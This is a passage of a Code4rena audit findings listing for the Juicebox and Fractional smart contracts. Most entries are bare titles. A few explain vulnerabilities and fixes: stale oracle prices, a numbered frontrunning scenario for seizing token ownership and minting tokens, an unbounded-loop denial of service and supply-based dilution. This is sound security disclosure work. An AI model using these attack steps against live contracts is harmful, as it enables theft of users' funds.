"https://github.com/code-423n4/2022-07-juicebox-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "ORACLE DATA FEED CAN BE OUTDATED YET USED ANYWAYS WHICH WILL IMPACT ON PAYMENT LOGIC", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/138", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBChainlinkV3PriceFeed.sol#L44 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBPrices.sol#L57 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L387 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L585 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L661 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L830 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L868 # Vulnerability details ## Impact The current implementation of `JBChainlinkV3PriceFeed` is used by the protocol to showcase how the feed will be retrieved via Chainlink Data Feeds. The feed is used to retrieve the `currentPrice`, which is also used afterwards by `JBPrices.priceFor()`, then by `JBSingleTokenPaymentTerminalStore.recordPaymentFrom()`, `JBSingleTokenPaymentTerminalStore.recordDistributionFor`, `JBSingleTokenPaymentTerminalStore.recordUsedAllowanceOf`, `JBSingleTokenPaymentTerminalStore._overflowDuring` and `JBSingleTokenPaymentTerminalStore._currentTotalOverflowOf`. Although the current feeds are calculated by a non implemented IJBPriceFeed, if the implementation of the price feed is the same as the showcased in`JBChainlinkV3PriceFeed`, the retrieved data can be outdated or out of bounds. It is important to remember that the sponsor said on the dedicated Discord Channel that also oracle pricing and data retrieval is inside the scope. ## Proof of Concept Chainlink classifies their data feeds into four different groups regarding how reliable is each source thus, how risky they are. The groups are _Verified Feeds, Monitored Feeds, Custom Feeds and Specialized Feeds_ (they can be seen [here](https://docs.chain.link/docs/selecting-data-feeds/#data-feed-categories)). The risk is the lowest on the first one and highest on the last one. A strong reliance on the price feeds has to be also monitored as recommended on the [Risk Mitigation section](https://docs.chain.link/docs/selecting-data-feeds/#risk-mitigation). There are several reasons why a data feed may fail such as unforeseen market events, volatile market conditions, degraded performance of infrastructure, chains, or networks, upstream data providers outage, malicious activities from third parties among others. Chainlink recommends using their data feeds along with some controls to prevent mismatches with the retrieved data. Along some recommendations, the feed can include circuit breakers (for extreme price events), contract update delays (to ensure that the injected data into the protocol is fresh enough), manual kill-switches (to cease connection in case of found bug or vulnerability in an upstream contract), monitoring (control the deviation of the data) and soak testing (of the price feeds). The `feed.lastRoundData()` interface parameters [according to Chainlink](https://docs.chain.link/docs/price-feeds-api-reference/) are the following: function latestRoundData() external view returns ( uint80 roundId, // The round ID. int256 answer, // The price. uint256 startedAt, // Timestamp of when the round started. uint256 updatedAt, // Timestamp of when the round was updated. uint80 answeredInRound // The round ID of the round in which the answer was computed. ) Regarding Juicebox itself, only the `answer` is used on the `JBChainlinkV3PriceFeed.currentPrice()` implementation. The retrieved price of the `priceFeed` can be outdated and used anyways as a valid data because no timestamp tolerance of the update source time is checked while storing the return parameters of `feed.latestRoundData()` inside `JBChainlinkV3PriceFeed.currentPrice()` as recommended by Chainlink in [here](https://docs.chain.link/docs/using-chainlink-reference-contracts/#check-the-timestamp-of-the-latest-answer). The usage of outdated data can impact on how the Payment terminals work regarding pricing calculation and value measurement. Precisely the following protocol logic within `JBSingleTokenPaymentTerminalStore\u200b\u200c` will work unexpectedly regarding value management. - `recordPaymentFrom()`: This function handles the minting of a project tokens according to a data source if one is given. If the retrieved value of the oracle is outdated, the `_weightRatio` at [Line 387](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L387) will return an incorrect value and then the `tokenCount` calculated amount will suffer from this mismatch, impacting in the amount of tokens minted. - `recordDistributionFor()`: Performs the recording of recently distributed funds for a project. On [line 580](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L580) the `distributedAmount` is computed and if the boolean check is false, then the call will perform a call to `priceFor` at [line 585](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L585). If the returned oracle value is not adjusted with current market prices, the `distributedAmount` will also drag that error computing an incorrect `distributedAmount`. Afterwards, because the `distributedAmount` is also used to update the token balances of the `msg.sender` ([line 598](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L598)) it means that the mismatch impacts on the modified balance. - `recordUsedAllowanceOf()`: Keeps record of used allowances of a project. It returns are analogue to the ones shown at `recordDistributionFor` where the `usedAmount` resembles the `distributedAmount`. The `usedAmount` is also used to update the project's balance. If the data of the oracle is outdated, the `usedAmount` will be calculated dragging that error. - `_overflowDuring()`: Used to get the amount that is overflowing relative to a specified cycle. The data retrieved from the oracle is used to calculate the value of `_distributionLimitRemaining` on [line 827](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L827) which is used later to calculate the return value if the boolean check performed at line 834 is true. Because the return of this function is the current balance of a project minus the amount that can be still distributed, if the amount that can still be distributed is wrong so will be the subtraction thus the return value. - `_currentTotalOverflowOf()`: Similar to the latter but used to get the overflow of all the terminals of a project. If the retrieved data has a mismatch with the market, the `_totalOverflow18Decimal` calculated on [line 866](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSingleTokenPaymentTerminalStore.sol#L827) if the boolean check is false will drag this mismatch which will also be dragged into the final return of the function. The issues of those miscalculations impact on every project currently minted, which also affects subsequently on each user that has tokens of a project resulting in a high reach impact. ## Recommended Mitigation Steps As Chainlink [recommends](https://docs.chain.link/docs/using-chainlink-reference-contracts/#check-the-timestamp-of-the-latest-answer): > Your application should track the `latestTimestamp` variable or use the `updatedAt` value from the `latestRoundData()` function to make sure that the latest answer is recent enough for your application to use it. If your application detects that the reported answer is not updated within the heartbeat or within time limits that you determine are acceptable for your application, pause operation or switch to an alternate operation mode while identifying the cause of the delay. > During periods of low volatility, the heartbeat triggers updates to the latest answer. Some heartbeats are configured to last several hours, so your application should check the timestamp and verify that the latest answer is recent enough for your application. It is recommended both to add also a tolerance that compares the `updatedAt` return timestamp from `latestRoundData()` with the current block timestamp and ensure that the `priceFeed` is being updated with the required frequency. If the `ETH/USD` is the only one that is needed to retrieve, because it is the most popular and available pair it can also be useful to add other oracle to get the price feed (such as Uniswap's). This can be used as a redundancy in the case of having one oracle that returns outdated values (what is outdated and what is up to date can be determined by a tolerance as mentioned). "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/134", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Token Change Can Be Frontrun, Blocking Token", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/104", "labels": ["bug", "documentation", "3 (High Risk)", "sponsor confirmed", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBTokenStore.sol#L246 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBTokenStore.sol#L266 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBController.sol#L605 # Vulnerability details ## Impact This vulnerability allows malicious actors to block other users from changing tokens of their projects. Furthermore if ownership over the token contract is transferred to the `JBTokenStore` contract prior to the change, as suggested in the [recourse section of Juicebox's 24.05.2022 post-mortem update](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/main/security/postmortem/5.24.2022.md#Recourse), this vulnerability would allow an attacker to become the owner of tokens being transferred. For `JBToken` based tokens this would allow an attacker to begin issuing arbitrary amounts the token that was meant to be transferred. ## Proof of Concept **Exploit scenario:** 1. Wanting to assign their token to their JB project an unsuspecting owner / admin transfers ownership to a `JBTokenStore` contract, either directly by calling `transferOwnership` on the token or indirectly by calling the `changeFor` method on an older `JBTokenStore` contract with `_newOwner` set as the new `JBTokenStore` contract. (For the newer Juicebox contracts the `JBController` contract's `changeTokenOf` method would be called) 2. Seeing this change an attacker submits a `changeTokenFor` calling transaction to the new `JBController` contract, triggering the `JBTokenStore` contract's `changeFor` method, linking it to one of the attacker's projects (this could be created in advance or as part of the same transaction via an attack contract) 3. The attacker can then gain ownership over the token by calling `changeTokenFor` again with the `_newOwner` set to the attacker's address 4. Assuming the token has an owner restricted `mint` method like `JBToken` based tokens the attacker can now mint an arbitrary amount of the token ## Tools Used Manual review. ## Recommended Mitigation Steps Before allowing a caller to change to a specific token ensure that they have control over it. This can be achieved by storing a list of trusted older JB directories and projects which are then queried. Alternatively the contract could require the caller to actually be the `.owner()` address of the token to migrate, this would require admins to: 1. Call `changeTokenOf` with themselves as the new owner 2. Call the new change token method on the newer contract, since they are the owner they'd pass the check 3. Independently transfer the ownership to the new token store to ensure that it can issue tokens Future migrations can be made more seamless by having older contracts directly call new contracts via a sub-call, removing a necessary transaction for the admin. The newer contracts needs to verify that the older contract is the owner address of the token that's being set and also has approval of the project owner which is being configured. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "JBToken: mint function could mint arbitrary amount of tokens", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/84", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-07-juicebox-findings", "body": "JBToken: mint function could mint arbitrary amount of tokens"}, {"title": "changeTokenOf makes it impossible for holders of oldToken to redeem the overflowed assets.", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/83", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena//blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBController.sol#L588-L606 # Vulnerability details ## Impact When the owner calls the changeTokenOf function of the JBController contract, the token corresponding to the current project will be changed, which will make the oldToken holder unable to redeem the overflowing assets. ## Proof of Concept https://github.com/jbx-protocol/juice-contracts-v2-code4rena//blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBController.sol#L588-L606 https://github.com/jbx-protocol/juice-contracts-v2-code4rena//blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBTokenStore.sol#L236-L269 ## Tools Used None ## Recommended Mitigation Steps Consider adding a delay to changeTokenOf, or adding a function to convert oldToken to newToken "}, {"title": "addFeedFor should check if inverse feed already exists", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/79", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBPrices.sol#L109-L122 # Vulnerability details ## Impact Potentially inconsistent currency conversions ## Proof of Concept addFeedFor requires that a price feed for the _currency _base doesn't exist when adding a new price feed but doesn't check if the inverse already exists. This means that two different oracles (potentially with different prices) could be used for _currency -> _base vs. _base -> _currency. Different prices would lead to inconsistent between conversion ratios depending on the direction of the conversion ## Tools Used ## Recommended Mitigation Steps Change L115 to: if (feedFor[_currency][_base] != IJBPriceFeed(address(0)) || feedFor[_base][_currency] != IJBPriceFeed(address(0))) revert PRICE_FEED_ALREADY_EXISTS() "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Unhandled chainlink revert would lock all price oracle access", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/59", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor acknowledged", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Unhandled chainlink revert would lock all price oracle access"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "JBToken: burn function could burn tokens of any user", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/47", "labels": ["bug", "documentation", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-07-juicebox-findings", "body": "JBToken: burn function could burn tokens of any user"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "processFees() may fail due to exceed gas limit", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/8", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/abstract/JBPayoutRedemptionPaymentTerminal.sol#L594 # Vulnerability details ## processFees() may fail due to exceed gas limit https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/abstract/JBPayoutRedemptionPaymentTerminal.sol#L594 ### Impact the function `processFees()` in `JBPayoutRedemptionPaymentTerminal.sol` may fail due to unbounded loop over `_heldFeesOf[_projectId]` `_heldFeesOf[_projectId]` can get very large due to the function `_takeFeeFrom()` where it pushes fees that should be paid to a specific beneficiary onto the array https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/abstract/JBPayoutRedemptionPaymentTerminal.sol#L1199 `_heldFeesOf[_projectId]` could get large and cause a DOS condition where no fees can be distributed due to exceed of gas limit ### Proof of Concept ``` for (uint256 _i = 0; _i < _heldFeeLength; ) { // Get the fee amount. uint256 _amount = _feeAmount( _heldFees[_i].amount, _heldFees[_i].fee, _heldFees[_i].feeDiscount ); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/1", "labels": [], "target": "2022-07-juicebox-findings", "body": "Agreement & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/650", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/648", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/646", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/645", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/640", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/638", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/637", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Use of Unchecked transfer/transferFrom functions", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/633", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Use of Unchecked transfer/transferFrom functions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/631", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/628", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/627", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/622", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/621", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/620", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/618", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/617", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/616", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/614", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/613", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Migration total supply reduction can be used to remove minority shareholders", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/612", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L469-L472 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L95-L98 # Vulnerability details As new total supply can be arbitrary, setting it significantly lower than current (say to 100 when it was 1e9 before) can be used to remove current minority shareholders, whose shares will end up being zero on a precision loss due to low new total supply value. This can go unnoticed as the effect is implementation based. During Buyout the remaining shareholders are left with ETH funds based valuation and can sell the shares, but the minority shareholders that did contributed to the 